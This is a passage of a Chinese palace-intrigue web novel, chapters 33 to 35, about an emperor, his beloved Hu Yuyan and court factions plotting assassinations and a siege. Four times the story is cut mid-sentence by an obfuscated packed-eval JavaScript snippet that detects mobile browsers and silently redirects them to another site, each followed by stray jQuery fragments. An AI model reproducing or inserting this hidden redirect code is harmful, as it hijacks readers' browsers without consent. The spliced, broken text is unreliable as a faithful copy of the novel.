蒋卫识趣地禀了声“臣告退”便先行离开,如今只剩蒋氏还留在屋内
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617343|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
赵长昭忽而觉得一阵恶心,他转过身死死盯住这个被臣子硬塞到他身边女子,毫不掩饰目光中的怨恨。
蒋氏明显被吓了一跳,僵在原地,一动也不敢动。
“陛下。”她忙行了个福身礼,下一瞬却被赵长昭掐住脖子逼到角落。
“陛、陛下……”蒋氏面露痛苦,毫不怀疑赵长昭是真的想下死手。
赵长昭手上力气越来越重,蒋氏面色惨白,一手慌乱地从袖中取出一物递给赵长昭。
“这是什么?”赵长昭只低低瞥了一眼,手上力道松快些许,留给蒋氏喘息的余地。
“陛下,妾的父亲说事关越国,陛下自然知道……”
赵长昭黑了脸,他与越国串通一气,不惜一切代价只为取上官楚的性命,蒋卫肯定早就知道了。
他的力道立刻逼了上去,恶狠狠地道:“连你也敢威胁朕。”
“陛下、陛下饶命,妾绝无此意。”蒋氏一瞬间呼吸骤停,死命地拍打着赵长昭的手。
“求陛下、陛下饶命。”
赵长昭一松手,蒋氏立刻快步跑到角落,掀开灯罩,将那握得发皱的信封凑到烛火前,不一会儿那些纸张便化作一团灰烬。
蒋氏跪地叩头,带着哭腔道:“妾的父亲命妾当着陛下的面烧了此物,父亲说,为臣者当效忠于君,父亲愿为陛下所不能为,妾亦愿为陛下尽心,求陛下饶命。”
蒋氏以头抢地,头发很快便散乱,额头也出现血痕,模样狼狈至极。
“滚。”赵长昭从喉咙里挤出这么个字,蒋氏如临大赦立刻提起衣裙慌乱地跑开了。
赵长昭坐回软椅上,烦躁地捏了捏眉心。
宫灯的光在纱帐外一晃一晃,烛焰映得帐纱轻颤。
胡玉烟睡得并不安稳,忽然指尖一紧,她察觉到是有人握住了她的手,立刻惊醒。
不需要抬头,她也知那人是谁。
赵长昭身影隐在昏黄光影中,他的手还紧紧攥着她的,指节发白。
胡玉烟由他去了,没有出声,也没有动。赵长昭察觉她醒了,视线与她短暂交汇,随即轻轻一靠,将头枕在她的怀中。
胡玉烟往里挤了挤身子,看着他靠在自己怀中,睫毛在灯影下投出淡淡的影子。
赵长昭方得了趣,又凑上来吻她,胡玉烟却是累了。
“明日玉烟随我出宫一趟吧。”赵长昭冷不丁地冒出这么一句话。
胡玉烟立刻醒了神,“真的?”
她自然是欢喜的,可很快就想到胡家已满门抄斩,她的世界只剩下这四四方方的天地,宫外哪里有她的去处。
赵长昭与她十指相扣,将上官楚受困一事细细说了,他的声音低低的,却在寂静的密室中格外清晰。
他又道:“那个叫蒋卫的,我不信任他。为什么这世上的人都这么讨厌?女娲娘娘当初为何不塑几个玉烟?”
赵长昭在她怀中蹭了蹭。
胡玉烟轻笑出声,一手捂住了他的耳朵,轻声道:“陛下莫要说胡话。”
33. 蔷薇(一)
一辆马车自宫门驶离,马车中的二人皆着素衣,彼此依偎着,胡玉烟大脑放空,昏昏欲睡。
风从城墙外吹来,车轮碾过青石,灯火渐远,京郊的雾气缭绕着,不一会儿马车停下,尖嗓子的宫人小声道:“陛下,到了。”
赵长昭先一步下来,又伸手扶着胡玉烟。
二人一路无话,等到了地方胡玉烟才心生疑惑。
赵长昭去牵胡玉烟的手,与她十指相扣,又带着她往前走。
二人停在一个山坡上,天方蒙蒙亮,从上往下正巧能看见一处院落,院落极小,门前荒草丛生无人打理,一个年轻男子正在院中练剑。
胡玉烟怔住,喉头酸得说不出话。
“那是……”
赵长昭却仍握着她的手,指尖的力道没有半分松懈,“上官家势大,我尽了全力,只保住他一人。”
“他如今换了户籍,改姓霍,很安全。”
胡玉烟抿唇,泪水一滴一滴坠落。她想走上前,却恍觉自己被那只手牢牢扣住。
赵长昭垂眼看她,神情沉静,随即尴尬地将手松开。
他笑了笑,问道:“玉烟想去看看吗?”
胡玉烟的唇轻轻抖了两下,声音极低:“不要了。”
“我与九弟分别那年他才六岁,如今怕是不会记得我了,我知他安好便很好。”
两人并肩站在暗处,静静看着那个青年练剑。夜风掠过,他们的衣角轻轻相触。
天色一点点亮起来,二人不知在山坡上站了多久。
“九弟长得像舅舅。”胡玉烟忽而喃喃。
赵长昭没有回应,只侧过头,望着她的泪光在晨光下闪烁。
许久,他伸手为她掸去鬓角的发丝,低声道:“走吧。”
胡玉烟点了点头。
马车照着原路折返,胡玉烟靠在车壁上,仍有些恍惚。
她不知城外可有哪位尚存的忠义之士,愿为她那满门亲族收殓尸骨。抑或他们早已被风沙与乱兵吞没,连名字都淹没在血与尘里。
赵长昭紧攥着她的手,她的心绪尚未从方才的相见中平复,车外的风声却忽然乱了。
只听“嘭”的一声,车身猛地一震。马匹惊嘶,车夫的喊声戛然而止。
下一瞬,利刃破风的声音刺耳而近。
胡玉烟慌了神,掀开车帘一看,正见到寒光掠过,车旁两名内侍应声倒地,血色迅速铺开,腥气冲入鼻端。
“啊——”她惊叫出声,下意识觉得有人想对他们动手。
慌乱间,赵长昭赶紧将她一把拉入怀中,捂住她的耳朵,嗓音冷静得近乎不合时宜,“无事,我安排的。”
他冷着声补充着:“那些上官楚安排在我身边的人,都不能留了。”
胡玉烟听得外面的惨叫声,被震得心头发紧,身子几乎要软下去,指尖抓紧了面前的衣襟。
动静停下,赵长昭一手掀开了车帘,睥睨着地上横七竖八的尸体,难耐地掩了掩鼻子,脸上尽是厌恶。
“尸身找地方掩埋,不要留下痕迹。”他淡淡吩咐道。
侍卫应声,将那六七名内侍的尸首拖入路边的荒草中。
车轮再次滚动,马蹄飞扬,加快了行驶速度。
回宫的时候日头正好,外头宫灯成列,侍卫跪迎。
“陛下,到了。”内侍低声禀道。
赵长昭先一步下车,脚刚落地,正要去扶胡玉烟,便瞥见马车前跪着一人。
一个宫女跪倒在地,颤声道:“奴婢叩见陛下。”
赵长昭眉头紧拧,语气里带着明显的厌恶,“你怎么在这?
蒋氏低头,额头抵着青石,“是父亲嘱咐奴婢,侍奉陛下起居……臣婢不敢怠慢。”
赵长昭的眼神愈发阴沉,胸口窜出一阵火,他正要开口,远处一阵香风袭来。
“哎呀,这是怎么了?”
来人声音娇柔,却带着刻意的威势。
上官皇后带着几名宫人缓步而来,步履雍容,凤钗轻摇,眼角一挑,目光落在跪地的蒋氏身上,立刻冷了下来。
“这是哪里的宫女?竟敢扰驾。”
蒋氏吓了一跳,将头低埋。
见上官皇后来了,赵长昭起了看好戏的兴致,忍不住讥讽:“这个宫女的父亲如今是朝中新贵。上官家已不是从前的上官家,自然有人想取代上官皇后的位置。”
上官皇后冷了脸,声音几乎是咬牙切齿,“怎么?我如今仍是皇后,莫非没有处置一个宫女的权力?”
赵长昭的唇角弯了弯,似笑非笑:“皇后自然有。”
蒋氏闻言脊背僵硬了些,赵长昭不再多看一眼,抬步回到车旁。内侍赶紧掀开帘子,赵长昭重新上车,吩咐道:“走。”
帘内,胡玉烟静静坐着,赵长昭一言不发,只伸手拢了拢帘,让外头的风与人声隔绝在外。
马车继续前行,穿过重重宫墙,外内去了。
赵长昭有些疲惫的将头靠在胡玉烟肩上,压低了声音道:“我要杀了他们所有人。”
胡玉烟眼眸低垂,有些走神,片刻后才回过神来赵长昭方才说了什么,轻轻应了声:“好。”
马车到了地方停下,赵长昭吩咐了所有人离开,才扶着胡玉烟从车上下来。
“这是哪里?”胡玉烟环顾四周,有些不知所措。
赵长昭攥着她手,往大殿里去,“玉烟快来。”
他们沿着长长的回廊走去,灯火在檐下摇曳。赵长昭亲自推开一处偏殿的殿门,门轴发出一声低沉的响。
胡玉烟走进殿中,原以为只是一处废弃之所,入眼的一幕,却让她惊讶。
整个偏殿的地面上,竟整齐地铺着数十张棋盘。棋盘上黑白子交错落定,没有一盘留出行棋的余地。有的盘满是黑子不见白子,有的盘却白子满满,鲜有黑子,显然并非棋局。
烛光摇动,棋子在暗影中泛着微光。
胡玉烟怔怔地看着这壮观的场面,半晌才低声道:“这是……”
赵长昭站在她身后,唇角微抿,“四年前,玉烟同我下棋,我将棋盘留下了。”
“四年了,我都记着。”
他指尖在其中一盘上轻轻划过,落在那片被白子铺满的角落里。
“白子,是我与你在一起的时光。”他说:“那一年玉烟搬去了冷宫,心灰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635115|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意冷不愿见人,我常常偷偷跑来看你。”
他又往前走几步,他指着另一盘棋:“这些黑子,是我见不到你的日子,我登基前,上官楚囚了我两月,我满心想着玉烟才撑过来。”
赵长昭语气平静,黑白交错之间,是无数夜的孤寂与思念。
胡玉烟心中一阵颤意,看着这满地的棋盘,没想到赵长昭居然会以这样的方式记录这种小事。
赵长昭回转身,目光落在她脸上,那双眼里燃着隐隐的光,拿起一枚白子落在最新的棋盘上。
胡玉烟看着这些棋子,注意到最近的几个棋盘上几乎满盘皆是白子,黑子只有零星几枚,她有些哭笑不得,打趣道:“陛下怎么跟个孩子似的。”
赵长昭忽然伸出手,将胡玉烟一把拉入怀中,他的呼吸贴在她耳侧,带着几乎要灼人的热。
“玉烟。”他的声音带着笃定,“从今以后,我都不必再记这些了。”
他抬眼望着那一地棋盘,目光微微一转,又落回她身上。
“因为我们会日日在一起。”他的话如同誓言,“永远不再分开。”
胡玉烟的心在胸口重重一跳。她已经逐渐接受了赵长昭以男人的姿态,在近得不能再近的地方,紧紧抱着她,说着甜言蜜语。
她曾经嫁做人妇,这样的话她已经听过一遍了。
什么生生世世、永不分离,人算怎么可能抵得过天算?
她曾死里逃生,是上天赐予她第二次命,她还要报仇,便不会为情爱所困。胡玉烟承认自己有些陷进去了,她遵从本心,可也保持理智。
赵长昭的手仍在她背上轻抚,指尖的温度透过薄衣,一寸一寸渗进她的皮肤。
“玉烟。”他再次问她,几乎是在哄,“你愿不愿意?”
胡玉烟抬起头,看见他眼底那种偏执的光。她的唇轻轻动了动,什么也没说,只是怔怔地与他对视了片刻。
然后,她木然地点了点头。
赵长昭呼吸一紧,在那一瞬间将她揽得更近。
“玉烟……”他低低唤她的名字,嗓音有些发颤,随后低头吻了下去。
胡玉烟快要被那股力道吞没,她的手下意识地抵住他的胸口,却感受到他那颗心跳得和自己的一样快。
赵长昭的动作急切,忽而一阵天旋地传,二人已栽倒在地,胡玉烟喘着气趴在赵长昭身上。
赵长昭的眼中神采奕奕,胡玉烟脑海中闪过那些夜晚,冰冷的寝殿、幽暗的宫墙、她藏在帷帐后的呼吸与心跳。也记得那个曾依偎在她膝下的小少年,眼里闪着惶惑与依恋。
“玉烟想要什么?”赵长昭问。
胡玉烟思绪万千,“我要上官家全族死无葬身之地。”
她答得急切,一寸一寸地编织理由,直到连自己都分不清其中几分真假。上官家该死,都是上官楚逼着他们走到如今地步。她告诉自己,这样她便能理直气壮地与赵长昭相拥。
赵长昭捧着她的脸亲吻,烙下无声的承诺。
胡玉烟克制地喘息着,她唤他秀郎,语调婉转缠绵。又在难耐时叫他赵长昭,在他背上留下一道抓痕。最后她叫他“陛下”,对他俯首称臣。
34. 蔷薇(二)
赵长昭衣襟半敞和胡玉烟十指紧握,眉间尚带着未散的情绪。
两人刚从密室中出来,迎面便撞上了一个人。
蒋氏惊得一怔,手中端着茶盏,险些要摔落在地。
她一抬头正看见赵长昭从御书房的暗处出来,面色瞬间煞白,连忙屈膝行礼,声音发颤:“妾参见陛下。”
身后的门刚合上,赵长昭也被吓了一跳,连忙将胡玉烟藏在身后。
他的目光一寸寸扫过她,冷得像刀。
“朕有令,任何人不得擅入御书房。”
蒋氏跪在地上,看见两人有些呆愣,随后不停地磕头认罪。
赵长昭绕过她走到案几前,拿起悬挂在侧的剑,声音里透着狠劲,“你找死。”
话音未落,他已抽剑出鞘。剑光一闪,冷气直逼人心。
蒋氏惊叫一声,连忙退后,衣袖被削裂,险些跌倒。她慌乱地跪地磕头:“陛下饶命!妾的父亲希望妾服侍陛下——”
赵长昭神色阴沉,拿着剑朝着蒋氏追砍。他眼底没有半点怜悯,仿佛要将这突兀的闯入者连同她带来的不洁空气一并抹去。
胡玉烟只站在原地,冷冷地看着这一切。
蒋氏被逼到墙角,浑身发着颤,一个劲的求着赵长昭饶命,赵长昭却红了眼,就在剑刃就要落下时,殿门外的风骤然灌入,卷起地上的一角书卷。
外头传来急促的脚步声,一名侍卫奔入,跪地高声禀报:“启禀陛下——前线急报!上官楚大将军已脱困,已率残部稳住阵线,特来报平安!”
赵长昭的手骤然一抖,剑锋“当啷”一声落地,寒光碎裂。他整个人僵在原地,像是被雷击中,半晌没能出声。
蒋氏寻了空档,慌忙从地上爬起来,忙不迭地跑开了。
赵长昭已无心在意这些,空气凝固,他慢慢攥紧拳头,指节发白,几乎咬牙切齿地对侍卫道:“朕知道了。”
侍卫还想说什么,赵长昭却突然吼道:“出去——”
侍卫领命退下,殿门阖上的声音低沉而悠长。烛火在风中轻晃,阴影一寸寸吞噬了殿中的光。
“秀郎……”胡玉烟慌乱地上前,将软了脚的赵长昭扶住。
赵长昭整个人陷在那片阴影里,背脊紧绷,坐立难安。指尖不自觉地在扶手上摩挲,冷汗从鬓角滑落。
半年之间,他与上官一党的政敌周旋。上官卓昂已死,是他亲手杀的,他着手清算旧势,贬斥上官家党羽,拔除根基。只要那人死了,整个上官家便会随风倾覆。
他原以为,上官楚此番被围,纵是神仙也难逃出生天。他暗中安排许久,每一步都算得精细,只差最后一击。可谁知,上官楚的命竟这般大,死生未卜之际,又能脱困归来。
赵长昭缓缓闭上眼,胸腔里的气息一点点发紧。人在绝望之际,往往已无心思再去想计谋,他忽然觉得脑中一片空白,所有的算计与胜负,似乎都变得毫无意义。
他脑中顷刻间只余胡玉烟,他一偏过头,发现她正在身侧。
胡玉烟将额头贴上他的,“我知道,陛下不会认输的。”
“你说要铲除上官一家,说要与我生生世世,你不能食言。”
赵长昭的喉咙一紧,那股疼意从胸口深处漫开,像是要把他撕成两半,他死死盯住眼前人,以微不可闻的声音道:“好。”
胡玉烟分明看见赵长昭眼中的痛意,她也跟着湿润了眼眶,“玉烟陪秀郎坐一会儿吧。”
胡玉烟将头枕在赵长昭腿上,殿门大开,凉风不断地涌进屋内,从这个角度正好可以看见月亮……
等到第二日,赵长昭按例起身,动作一丝不苟。
他吩咐内侍备驾,准备如常去上朝。门外的侍卫刚去通传,忽然传来一阵急促的脚步声。
“启禀陛下——上官大人求见!”
赵长昭正想问,是哪位上官大人?殿门便被推开,上官华身着朝服,几名亲信紧随其后,几乎是闯了进来。
上官华拱手行礼,语气却带着压抑不住的锋芒:“臣知闯入不敬,但事关军国大事,不敢迟滞。”
赵长昭拧了眉。
上官华抬头,字字清晰:“陛下,前日朝廷派去支援的军队,中了埋伏,不过吉人自有天相,家父已平安脱险。”
赵长昭极力克制神情,只道:“朕已听得吉报,此乃我赵国之幸。”
他接过内侍递来的冕冠正准备带上,上官华却不疾不徐地道:“以臣之见,如今朝堂人心不稳,这几日朝会陛下便不必去了。”
他对身后的人使了使眼色,“臣看陛下身边少了些服侍的人,特例挑了几个机灵的内侍侍奉陛下。”
赵长昭的指尖缩进袖中,静静地看着上官华,一个字也不曾说。
上官华带着人气势汹汹地闯入,又气势汹汹地离开,赵长昭抬手按在心口,觉得胸腔空得发冷。
他在檀木椅上静坐了半个时辰,直到思绪渐渐回笼。
夜已深,正殿的烛火只剩一盏,光色昏黄。赵长昭坐在案后,神情阴郁,手中那支狼毫早已断成两截,墨渍淋漓地洇开在宣纸上。
外头的侍卫低声通传:“启禀陛下,蒋大人求见。”
殿门缓缓被推开,蒋卫走进来,神色拘谨,行至殿中央跪下叩首。
原本近身服侍赵长昭的几名内侍纷纷退下。
蒋卫垂首答道:“臣夜不能寐,心中有事,不吐不快。”
他继续道:“如陛下所料,前去支援上官将军的精兵,在关外中了埋伏,全军覆没。”
赵长昭的声音淡淡的,“朕可没有料到。”
蒋卫迟疑了一瞬,终是抬头,“陛下,前线传来的消息……上官楚已脱险归营,手下兵将虽损,却仍有三千精锐。如今朝中多有人暗动,私下相贺。臣恐……局势难控。”
赵长昭的神色未变,只是冷笑一声:“你也是来同朕说局势难控的?”
“臣不敢。”蒋卫连忙叩头,额头触地的声音在殿内清晰可闻,“只是……上官楚若凯旋回朝,陛下可还稳得住这江山?”
赵长昭的目光一点点冷了下去。
他缓缓起身,绕过御案,走到蒋卫面前。灯火照在他脸上,那双眼中带着一种诡异的静气。
“蒋卿。”他低声道,“你曾助朕对付上官一党,如今却来问朕稳不稳得住?”
赵长昭微微俯身,几乎贴近他耳畔,“你怕的是朝局生乱,还是怕自己选错了人?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645627|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他的笑意冷得叫人发怵,“爱卿快去看看外头的风向,记得别被吹倒了。”
蒋卫面色不变,只是忍不住皱起了眉。
赵长昭袖下的拳头握得发白,他受尽上官楚欺压多年,不能让人觉得是个有权势的臣子便能骑到他头上。
蒋卫缓缓起身,殿中烛火将明未明,映着蒋卫半张在光里、半张在暗处的脸。
“陛下,还记得先帝吗?当年……臣也是在这样的夜里,与先帝密谋,欲除上官楚。那时陛下尚年幼,未谙朝事。”
赵长昭的目光一瞬凌厉。
蒋卫却像未察觉似的,继续道:“天命难测,人心更难测。臣能在上官家一势独大的朝堂中站稳脚跟,自然是有臣的本事的。”
他忽而沉沉地叹了口气,带着几分笑意道:“陛下既然把话说到这份上,这酒——”
他伸手打开酒壶,将酒水倾洒到地上,“就不与陛下饮了。”
赵长昭一瞬间明白了蒋卫的意思,眼神缓缓沉下去。
蒋卫抬头,与他对视,那目光不再卑微,反倒透着一种老狐狸般的笃定与警告。
赵长昭赤红了眼,回想那年冬猎,皇兄去而不返,世人传天子是坠马而亡,他心知肚明是上官楚下的手。却没想到其中竟然还有蒋卫的教唆。
此人不忠不义,岂能让他逍遥至此……
赵长昭在袖中捏紧了拳头,蒋卫僵了片刻,在赵长昭的注视下磕头告退。
殿门再度合上,四下重归寂静。赵长昭静立在原地,半晌未动,直到那盏孤灯燃尽,只剩下一缕青烟在空气中缭绕。
他忽地伸手,将那灯掀倒在地,巨大的动静在夜色中格外醒神。
不知过了多久,赵长昭披了件常服,轻轻推门出了大殿。
那一室静得出奇,月光从高窗泻下,照亮地上密密麻麻的棋盘,那时他信奉秩序与记忆,以为自己能留住些什么。
上官楚未死,朝局再起波澜,蒋卫的冷笑仍在耳畔。
赵长昭缓缓俯身,指尖轻触一枚棋子。
都是假的……全都是假的。他随即猛地一挥手,袖口拂过,棋盘翻倒在地,玉石般的棋子四散滚落,叮当作响。
“秀郎……”一个柔和的女声忽而在寂静中响起。
赵长昭一回身,正见到胡玉烟正立在门口不远处。
“玉烟。”赵长昭顿时红了眼眶,好像受了莫大的委屈。
胡玉烟的后背抵在冰冷的柱子上,棋子在脚下被碾碎,发出轻微的响声。赵长昭埋首在她颈侧,呼吸急促,带着几分无措与依赖。
他低声喃喃,声音沙哑,“你怎么在这里……”
“我随君而来。”胡玉烟整个人依偎在赵长昭身上,他的唇在她鬓边掠过,呼吸擦着她的皮肤。
胡玉烟伸手去抚他发丝,却被他反手握住,十指相扣。
赵长昭的额头抵着她的额头,他仰面躺在满是棋子的地上,一只手扣住胡玉烟的肩,令她趴在自己身上。
紧接着屋外传来一阵脚步声,赵长昭知道是上官华的人发现他不见了,他默不作声,只是静静地抱着胡玉烟。
胡玉烟趴在他胸口上,一声声数着他的心跳,眼眶也逐渐变得湿润。
35. 蔷薇(三)
胡玉烟醒来时,眼前晃动的光影一阵阵掠过,她只觉耳畔轱辘声急,马蹄声杂。她撑着身子坐起,触手之处是柔软的毯褥,车厢微微晃动。
她心跳漏了一拍,立刻清醒,垂眸一看,发现自己的手脚并未被绑,才微微一松。
胡玉烟揉了揉额角,踉跄着坐起身,酝酿了些时刻才掀开车帘,带着几分慌乱对赶车的马夫道:“你是何人?”
前头驾车的男子听见声响,立刻偏头回望,“我是陛下的人,奉命送姑娘离开。”
胡玉烟皱了眉,“我们要去哪?陛下呢?”
车夫紧攥着缰绳,马车速度不停,“宫里变故频起,大势已去,陛下担心姑娘。吩咐属下先护您出城,等陛下安顿好一切,再与您会和。”
外头天色惨白,一缕薄雾笼在荒郊小路上。胡玉烟的胸口发凉,偏过头又看见车上还有个锦绣包袱,她打开,见里面尽是些金银细软。其中有个檀木匣子,她知里面放的是赵长昭赠的那副贡珠耳环。
胡玉烟在茫然中生了几分怨恨,明明说了要同生共死,不敢相信赵长昭就这样抛下她。
莫非赵长昭真的想化作厉鬼,再缠住她下半生?
忽听得前方传来一声厉喝,紧接着是铁蹄乱响。
车夫一声惊呼,马匹受惊长嘶,车厢猛地一震,胡玉烟险些被甩了出去。她抓住车门,刚欲跃下逃跑,一柄长刀横空劈来,割裂了车帘,风声夹着冷光逼近。
“抓活的!”
有人低喝。
胡玉烟拼命后退,手背划破车壁的木刺,疼得彻骨。她推开车门,跌跌撞撞地冲入荒草之间,然而脚下却被什么绊住,一阵眩晕袭来。
她看见几道黑影逼近,听见风中似有刀出鞘的细响,接着后颈一痛,眼前倏地一黑。
倒下前,她似乎听见那人说:“带走。”
额头和脖颈传来钝痛,胡玉烟醒来时,四周一片漆黑。
那种黑,不是夜色,而是深井般的幽暗。伸手摸不见墙,也不知是在哪。空气里弥漫着潮湿与铁锈味,她一动,脚腕传来一阵麻木的刺痛,像是被什么勒过。
胡玉烟深吸一口气,逼迫自己冷静。她先抚了抚身上,衣裳还在,只是披风被扯破,鬓发散乱,发梢还带着一点血腥气。
她想喊人,可嗓子干得发疼,只能发出一点嘶哑的气音:“有人吗?”
空中一片寂静。
胡玉烟摸到了手背上的伤口,她舔了舔那血痕,疼痛令清醒许多。赵长昭聪明反被聪明误,要送她走却不料让她中途被人劫走,徒生事端。
她一个无名无姓之人自然没有什么用处,抓了她无非是因赵长昭,莫不是有人知晓了他们的关系。
不久,脚步声传来。胡玉烟屏息凝神,听见铁锁摩擦的声音,接着,一点火光亮起。
那是油灯的微光,照出一个戴着兜帽的男人。
胡玉烟强撑着站起,背贴着冰冷的石壁,冷冷道:“你是谁?想做什么?”
男人给她端来了一碗馊饭,语气淡淡的,“吃吧。”
胡玉烟的恐惧转变为怒意,将碗猛得摔在地上,瓷片崩裂,她捡起一块,抵在颈侧,嘶吼着问道:“你们要做什么!”
男人抱着拳,看着她的动作发笑,脸上有些不耐烦,“爱吃不吃,我也只是个看门的。”
他说完想走,胡玉烟见这人不搭理她,赶忙又嘶喊着问:“你是上官家的人?还是高家的?李家的?”
胡玉烟一边说一边从手腕上撸下来一只玉镯,递上前去。
男人接了过来,对着油灯看了看,他嗤笑一声依旧不理会她,只将油灯留了下来,便快步往前走,一刻都不想在这里多待。
胡玉烟愤怒地捶打着地面,一股绝望感扑面而来。
这之后,此地再没有人烟,石室没有窗,只有一盏油灯,昏黄的火光摇摇欲坠,像随时会熄灭的命。
胡玉烟想到赵长昭可能已经死了,心里钝钝的,她惊醒时,常常发现自己早已咬破了唇。
她曾在梦里看见他。那梦里他满身是血,却仍旧伸手要抱她,嘴里说的仍是那句:“玉烟,跟我走。”
胡玉烟烦躁地将那些情绪赶走,赵长昭说做鬼也要缠着她。她近日频频做梦,莫不是……
这里不知晨昏,甚至无法计算困在这里的时间。她一连饿了好几日,才又等来了送饭的人。
不是上次那个男人,送饭的换了一个人,饭菜却是一样的馊。
胡玉烟没了心气,她靠在冰冷的石壁上,听着外头的风声呼啸,绝望感渗进骨头缝里。
“上官华的军已入城,禁军弃械。”那人把饭摆在她面前,丢下这么一句话。
胡玉烟淡淡地瞥了他一眼,问道:“皇帝呢?皇帝怎么样了?你们还关着我做什么?”
她不敢去想赵长昭已经死了。
胡玉烟发了狠,上前一步抓住那人的手,指甲欠进肉里,她吼道:“我什么人也不是!给不了你们想要的!”
男人猛得甩开,抬手就要打,生生忍住了,他暗骂了一声疯子,嫌晦气似的离开了。
胡玉烟饿极累极,脱了力倒在地上。从这以后,她一直被关在这里,除了偶尔来送饭的人没有再理会她。
再醒来时,天已亮了。
胡玉烟发现自己被转移了地方。
脚下的石地换成了冰冷的木板,空气中混杂着风声和烟灰的味道。她费力地睁开眼,四周是半敞的空间,墙壁不再封死,一侧开着宽大的窗。
她在城楼上,从高处可以望见不远处的山峦。
外头的天是一片灰,像死气压在上头。从城楼上往下看是一片荒凉,能听见隐隐约约的号角声。
终于见到天光让胡玉烟兴奋起来,风从窗外灌入,裹着凌厉的寒气。很快,她被冻得直打颤,蜷缩在角落里。
白日时,士兵偶尔上来送饭。饭菜冷得结成了硬块,连一口热气都没有。她一一咽下,只喂了填饱肚子。她问当今皇帝是否还活着,士兵传来一声嗤笑。
胡玉烟曾幻想赵长昭会来救自己,可这几日下来,她几乎不敢再有这种念头。
可若不是为了赵长昭,她还有什么价值?
夜里更冷,风卷着灰尘灌进来,她想靠近火盆,可火早就灭了。
胡玉烟怀疑自己就要被冻死了,她日日憋住一口气,告诫自己不能死。就这样缩在城楼的角落里,蜷成一团,靠着残破的墙根。
就在她眼皮越来越沉时,一种沉闷的声响,从远处传来,一下又一下,号角声突兀地响起,带着震耳的回音,沿着风直往上飘。
胡玉烟猛地睁开眼。
她几乎是本能地爬到窗边,手指死死攥着冰冷的石沿。
风沙有些迷眼,但她看见远处旗帜一面接一面地翻卷着,黑压压的军阵压境而来。
胡玉烟一眼看见那坐在马上的人。
赵长昭金冠玄袍,神色冷峻,眉宇间的煞气隔着老远都能看见。
胡玉烟的心猛地一缩,仿佛整颗心都被那人牵了去。她张了张口,想喊他的名字,却发不出声。喉咙干得像灼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667562|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烧一般,眼泪却一滴滴滚了下来。
赵长昭没死,赵长昭来救她了。
城门外,赵长昭拢了拢外袍,风卷起他盔甲上的黑色披风。
一旁的将领指着眼前的孤城道:“此地是上官茂的封地,也是上官楚退守的最后防线。若今日不攻,等上官楚入城,便是两军合流,想再破这城……难上加难。”
赵长昭神采奕奕却仍有不安,上官华攻入京师,他勉强镇压,已经彻底和上官家撕破脸。越国与上官楚久战不下,只有速取此城,援兵才能立刻南下协同破境。
他花了太多时间走到如今,离大功告成只差一步。
赵长昭挥了挥手,号角声起,士兵点燃了引线,炮弹飞逝而出,向城墙袭去。
紧接着千名骑兵手持利刃,蓄势待发。
一旁的葛复喊道:“上官茂!你大势已去,若能开城投降,兴许还能留个全尸!”
紧接着,蒋卫被两名士兵押着跪在地上,他的头发被血水浸透,脸上青一块白一块。
“陛下……”
赵长昭坐在马背上居高临下地瞥了他一眼,对身旁的人使了使眼色。
大手将蒋卫的头颅压低,一个士兵手持长刀,预备砍去,蒋卫却在这时癫狂地笑起来。
“陛下,臣知您早就想借此除我,如今不过是顺水推舟罢了。”
赵长昭神色不动,有些不耐烦地摆摆手。
蒋卫闭上眼,语调近乎自嘲,“陛下,本来你我君臣,不必走到这一步的。臣在家人性命和权势之间,选了后者,臣后悔了。那陛下呢?”
“臣就在天上看着陛下。”
蒋卫边说边从腰间扯下一物握在手里……
士兵手起刀落,只听得一声闷哼,染血的头颅在地上滚了三圈,沾满了尘土。
蒋卫的尸身被拖走,赵长昭紧握的双拳松开,心中畅快了不少,可紧接着转头间却见地上的血迹下留了一物。
赵长昭怔了怔,随即呼吸一滞,立刻翻身下马。
他顾不得血污将地上的玉佩拾起,迎着阳光看了又看,这是胡玉烟的,赵长昭记得分明。
